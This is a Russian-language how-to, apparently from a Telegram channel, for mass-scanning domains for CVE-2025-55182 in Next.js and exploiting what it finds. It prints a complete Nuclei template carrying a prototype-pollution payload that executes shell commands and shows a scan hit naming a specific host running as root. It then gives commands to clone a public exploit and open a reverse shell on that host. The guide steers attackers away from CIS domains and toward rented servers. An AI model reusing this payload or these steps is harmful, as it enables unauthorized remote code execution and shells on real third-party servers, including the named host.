🚨 Поиск и эксплуатация уязвимости CVE-2025-55182 в Next.js
🔧 Шаг 1: Подготовка списка доменов
Создайте файл domains.txt с целевыми доменами (без .ru, .su, .рф и других зон СНГ — по умолчанию нельзя использовать):awk '{print "http://" $0}' domains.txt > domains_http.txt
awk '{print "https://" $0}' domains.txt > domains_https.txt
🛠 Шаг 2: Установка Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
или
Инструкции: https://github.com/projectdiscovery/nuclei
📄 Шаг 3: Создание шаблона cve-2025-55182.yaml
Сохраните следующее содержимое в файл cve-2025-55182.yaml:id: cve-2025-55182
info:
name: Next.js Server Actions RCE Scanner (CVE-2025-55182)
author: sickwell
severity: critical
description: |
Remote Code Execution via prototype pollution in React Flight Protocol deserialization.
Executes 'id' and retrieves output via X-Action-Redirect header.
reference:
- https://github.com/msanft/CVE-2025-55182
- https://github.com/Spritualkb/CVE-2025-55182-exp
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
classification:
cve-id: CVE-2025-55182
cwe-id: CWE-1321
tags: nextjs,prototype-pollution,rce,server-actions,cve,cve2025
http:
- method: POST
path:
- "{{BaseURL}}"
headers:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Next-Action: x
Accept: text/x-component
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_16}}
body: |
------WebKitFormBoundary{{randstr_16}}
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','id'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/login?a=${res.trim()};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary{{randstr_16}}
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary{{randstr_16}}
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundary{{randstr_16}}--
matchers-condition: or
matchers:
- type: status
status: [303]
condition: and
- type: regex
part: header
regex: ['(?i)x-action-redirect.*login\?a=']
condition: and
- type: regex
part: header
regex:
- '(?i)x-action-redirect.*uid='
- '(?i)x-action-redirect.*gid='
- '(?i)x-action-redirect.*groups='
condition: or
- type: status
status: [500]
condition: and
- type: word
part: header
words: ["text/x-component"]
condition: and
- type: regex
part: body
regex: ['E\{"digest":"[0-9]+"\}', '\{"digest":"[0-9]+"\}']
condition: and
extractors:
- type: regex
part: header
name: command_output
regex: ['(?i)x-action-redirect.*login\?a=([^;]+)']
group: 1
🔍 Шаг 4: Сканирование целей
Запустите Nuclei против обеих версий списка:nuclei -l domains_https.txt -t cve-2025-55182.yaml -o results.txt
nuclei -l domains_http.txt -t cve-2025-55182.yaml -o results2.txt
Если всё успешно — вы увидите строку вида(это реальный домен с уязвимостью!!!):
[cve-2025-55182:command_output] [http] [critical] https://elibre-csm-front-dev.us-east-1.elasticbeanstalk.com ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
💥 Шаг 5: Эксплуатация уязвимого хоста
Клонируйте эксплойт:git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
pip3 install requests requests
# На вашей машине:
nc -lvnp 4444
# На атакующей машине:
python3 CVE-2025-55182.py https://elibre-csm-front-dev.us-east-1.elasticbeanstalk.com --revshell YOUR_IP 4444
ДЕЛАТЬ СТРОГО С АРЕНДОВАННЫХ СЕРВЕРОВ С БЕЛАМ-СЕРЫМ IP!!!
- Автор/Источник
- https://t.me/Datavortex_BD